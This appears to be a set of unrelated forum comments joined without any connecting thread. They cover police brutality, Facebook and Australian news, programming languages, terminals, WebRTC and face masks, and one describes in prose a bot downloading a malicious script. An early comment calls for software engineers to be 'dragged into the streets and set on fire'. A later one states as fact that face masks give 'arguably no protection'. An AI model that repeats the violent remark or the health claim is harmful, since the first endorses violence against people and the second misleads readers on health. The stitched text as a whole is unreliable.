honestly the whole "being a police officer is not even a dangerous job" is really non-intuitive, which probably means it's wrong. Being a police officer is a dangerous job, but through thorough training and institutional experience, they've managed to lean how to keep themselves safe in actively dangerous situations.

Landscapers and truck drivers never have to wrestle a large, non-compliant man into handcuffs or talk down domestic dispute that turned into a potential murder suicide.

Software engineers who sit on their computers all day and try to backseat drive on these issues should probably be dragged into the streets and set on fire.

From an American perspective, sure, but in a lot of countries we ask ourselves if letting these companies operate freely is a benefit for our society.

I can see why moving money from Facebook to local news media would benefit Australia, and let’s not pretend we can’t force Google or Facebook to comply. Just look at what they are willing to do for China.

How does a text editor also act as a build system? Do they mean dependencies are automatically discovered and compiled? Or do they mean it integrates with a makefile where you still need to specify the dependencies and the text editor will automatically run it when files change?

Children may not be capable of the sustained informed rigour needed to "work on" philosophy, but they're certainly capable of the playful inquiry needed to "hack around" philosophy.

(I had a sports coach who used to ask the little kids questions like "what is freedom?" I asked him why he asked them questions that adults fail to answer, and he replied he was hoping that, in five or ten years if not now, they might come up with an answer he hasn't yet run across)

I spent no effort learning C#. I just sat down and started writing it. Even though C# is a larger language than Swift and is getting larger.

I tried to write a small project in Swift and I really have no intention on ever going back to Swift. It's not a designed language. It literally is a kitchen sink of quite poorly thought out features and "we couldn't be bothered to design a solution, let's just throw in this patch".

The only point I was trying to make is that you've written it yourself: the police is allowed to use violence. How can you enforce the law for parties that ale not cooperating? You can do it only by using violence. And in some videos, I see a lot of people that are not cooperating. That's all.

700 cases of police brutality is indeed less than 100k deaths caused by authoritarian dictatorship. As a democratic country we’re trying to avoid it with peaceful organization and protest, but our law enforcement keeps violating our constitutional rights.
I knew Philip in the 80s as he and I traveled in overlapping circles. I heard him play several times. He was far, far more than a mediocre player. He absolutely could have been a professional orchestra player had he wanted to--and if he had been able to control the abrasive bits of his personality. But nobody who heard him in those days would ever have called him 'mediocre.'

In a certain way, that adds to the tragedy of the whole sordid affair.

For DBMS, the authors of the APOLLO system found the following [1]:

"Code coverage is a frequently used feedback mechanism in fuzzing engines [22, 27]. We found that this metric is not particularly useful for fuzzing DBMSs, since the core components of DBMS (e.g., query optimizer) already have high coverage (e.g., >95%) after running tens of queries."

I'm guessing it's because you said it in an indirect way, and I said it directly. And people don't like being told that their gut feelings and outrage are only in their own head. I'm never really sure which is the right way to approach people -- the indirect approach goes over some people's heads sometimes (like me, a little this time) but the direct approach often gets outright rejected from confirmation bias. Teaching is hard, man.
Sure, but you generally don't want to be blatant about it. If the US decides to start swinging its weight around to protect Google/Facebook from this (or as retaliation) then Australia is most definitely going to come out on the losing side.

That's a great coach. Planting the seeds that will help those kids later in life to not be afraid of asking hard questions because they will remember their coach asking these questions. It helps to have role models like that because people are mimetic and they copy from everyone around them.
I've never gotten to that point but definitely had a great moments when it wasn't entirely clear how I'd find the finances to continue without the support of family financially and otherwise and much else in terms of a social safety net. The absolute lowest point was after a particularly bad first semester in second year that required much higher average in the second to retain good standing I received a letter in informing me not only that no longer qualified for the loans for academic performance but also that repayments wer soon to start. I think it eventually turned out to be a clerical error but I definitely had a few episodes wandering aimlessly from twilight to dawn questioning my ability to complete the degree, who I'd be able go to for support, how I'd live with myself if I took support and still failed, how I'd afford to pay it off or support myself if I dropped out right now, the embarrassment of doing so, rationality of choosing to double down on sunk costs vs potentially losing a once in a lifetime opportunity I'd already sunk so much into, and if I had really made the right decision in choosing to attend in the first place.

Looking back though, the experiences and situations were so formative I sometimes wonder if to change them would be to dilute and erase oneself.
Mostly, terminals don't reinterpret old escape sequences whe resized. xterm and alacritty just cut off text from the right of the window. rxvt-unicode can reflow long lines but seems to preserve it nicely. Presumably they accounted for carriage-return following wrapped text and have that move to a new line in their buffer. I can get it to glitch from inside a tmux.

Zsh will only do anything about the current active prompt on SIGWINCH. Old prompts back in the scroll buffer can't be redrawn even if zsh wanted to. And while a different command is running, even something like `sleep` will do if you're testing, that command has control of the terminal and it, rather than zsh, receives SIGWINCH.
It's very simple. All you need to do is pretend the following never happened, and you will "see the light" and change your mind and see Facebook for what it really is: a savior.

- the "friendly fraud" case, aka stealing money from little kids

- genocide which happened in Myanmar

- "mood manipulation" experiments, which I am sure are just hilaaaarious, until you are its subject

- the person who wrote this comment was just a "bad apple" and may not truly represent FB's actual views:

https://news.ycombinator.com/item?id=19321420

- a founder who called his users "dumb fucks" when he was a teenager, and apparently stopped saying it once he "turned into a mature adult". Except the small detail which the FB fans don't want to acknowledge. He just keeps behaving as if he still believes it is true. Case in point:

https://news.ycombinator.com/item?id=22185196

https://news.ycombinator.com/item?id=22179068

I can list more things, but if you haven't registered the actual reason for the hate yet, it is possible your livelihood depends on not understanding what is actually going on (e.g. you are a FB employee), or you just have a very short attention span and a very poor memory, both of which are a problem if you are going to start a comment with "So the other shoe has finally dropped: If it hasn't been apparent to everyone yet"

> backporting fixes

IMHO this should be thankless. If you want updated software then update it.

By backporting fixes, you create an untested and unsupportable version. They pull patches that may or may not have dependencies on other changes to the software, which they avoid because they don't want to update, and generate a whole bunch of noise for application developers.

A word of advice: double-check you're actually getting a BME280. I accidentally bought a BMP280 which lacks the humidity sensor. -_-

That's... not true...

https://www.youtube.com/watch?v=RaEOeyANSVM

in Poland we had an 'a protest of entrepreneurs' recently against government lockdowns caused by covid-19, and there was some pushing with the police (even a candidate for the president has been detained I think)

This doesn't change the fact that the protest did violate the 'no gathering' rule, so the police could be used to enforce this rule. It's all I'm saying.

If people would respect the law, however pointless it is, then police wouldn't be able to do anything at all.

I've been spittings hundreds of c++ code back in 1996-1999, not knowing that it was not...standardized. You may be astonished at the complexity. The only downside was that it took minutes to compile it on 386DX and Borland's C compiler was faster with C. Inline assembly was a commonplace back in the day, so to know C/C++ actually meant to know Assembly and hand-optimize code more often than not.

Scaling doesn't always involve kubernetes.

But the way you scale WebRTC is by using multiplexers between clients.

Let's say you have 2 clients. They can directly send data to each other.

Let's say you have 3 clients.
Client 1 sends data to Clients 2, 3
Client 2 sends data to Clients 1, 3
Client 3 sends data to Clients 1, 2

As you add more clients the scaling requires n(n-1)/2 edges because it forms a Complete Graph.

The idea then is to use a server in the middle. That server could be 3rd party or maybe even one of the participants within the graph.
> Much of the brutality captured on video recently is, strictly speaking, legal.

We must not be watching the same videos. I've seen a lot of behavior by police, captured on video, of criminal assault. Just because someone is breaking the law does not give an officer carte blanche with regards to force. (And I've seen a lot of videos where the victim of police brutality is not clearly breaking the law, and if anything, seems to be following it.)

These newspapers aren't getting outcompeted. They are having their content stolen. If Facebook would prevent people from posting links from these newspapers and instead show an error message that says that it isn't allowed because Facebook doesn't want to pay for it, how do you think people would react?
It's just the Internet's "background noise", lots of compromised machines try to attack others. Any well-designed application will be immune to this.

This particular attempt isn't cutting-edge and isn't trying to exploit some obscure vulnerability. They're not even "exploiting" anything, they are literally probing for an endpoint that is designed to happily execute any shell command passed to it (because I guess someone somewhere was stupid enough to implement something like this?). This is the digital equivalent of "asking nicely".

They're trying to download a malicious shell script to the /tmp folder (that will in turn download more malware, most likely a cryptocurrency miner) and run it. Looking at the script (which is still available as of now) it does many attempts to download different variations of a malicious executable, each compiled for a different architecture. The list of architectures is quite broad (PPC and M68K even) so on that front they've done their job very thoroughly to maximize the potential yield.
I agree with the premise but unfortunately the mental health system in America is itself prone to abuse of patients and bigotry against patients. We need to be able to hold psychologists, nurses in psychiatric wards, psychiatrists, and other licensed mental health workers with a similar set of accountability if we are to hope that they can be useful filters.
What do you mean by “it’s implementation dependent”? RETURNING is a Postgres-specific clause, so of course its order is implementation dependent. There is only one Postgres, as far as I know.
I would also ask, with regards to things like the black site in Chicago where police kidnapped and tortured people for years as an institution, how many bad apples is that?

https://www.theguardian.com/us-news/2015/feb/24/chicago-poli...

And how many more good apples would we have to add to correct a situation like this? Three, perhaps? Would we need to find as many as 3 more good apples?
> Rust believes that tech is and always will be political- take some time today to invest in your community.

Is this the stated official policy? In my head, tech (esp programming languages) were the last bastion where religion, political opinion, etc were private matter and was decoupled from the tech at hand.
The beautiful headache called event sourcing
> 400 ... where there are videos. We know that until a video emerges these get swept under the rug, so I'm willing to bet that there are a fair few more than 400 examples of police brutality.

And those videos have uncovered many instances the the police blatantly lying about their own misconduct in official reports, which is further evidence that the videos are only the tip of the iceberg.

> They never actually put on any of the trades their clients were "making." They just pocketed the money and when the clients inevitably lost it all, the outcome was the same for the client.

Whoa. That is so elegant in it's simplicity. Evil, certainly, but elegant.

IPv6 is becoming increasingly common here in Asia (I'm based in Thailand but travel a lot around Asia). For context I have used 3 different ISPs here and all have dual stack, both my cellular connections have also been dual stack.

This has meant NAT is less of an issue for native IPv6 endpoints, including P2P.

Hopefully when IPv6 is finally widespread in US/Europe we will see stuff taking more advantage of this fact.

Statistics are useless because almost all police misconduct goes unreported. Police departments are designed to make oversight impossible.
Unfortunately it seems like the vast majority of content churned out by newspapers is not "real, investigative journalism", but rather clickbait that seeks to heighten anxiety and inflame tribal relations within a population.

Nobody thinks the finding itself is interesting. The main point of the paper is the confirmation that simple face masks work in 3% - 10% of the cases, arguably no protection.

The new typical approach of this paper is the political angle with statistical tricks to make an insignificant number significant for the main press, by coming up with exponential growth models leading up to the cited 40% number. Which is politics, not science. But even Nature ventures into politics these days, deviating from science, with wrong growth models.

Even the smallest measures are exaggerated in desperate times. Political desperation, not scientific.

I used countries with nation wide riots in recent internet age. US is not Norway! America is full of radicals and happy trigger rednecks.

If anything France has special anti riot units, trained to use non lethal force. US has militarized police, SWAT teams and national guards.

If you expect police to disperse crowd with zero violence, while bombarded with bricks and molotov coctails, you are out of your mind.
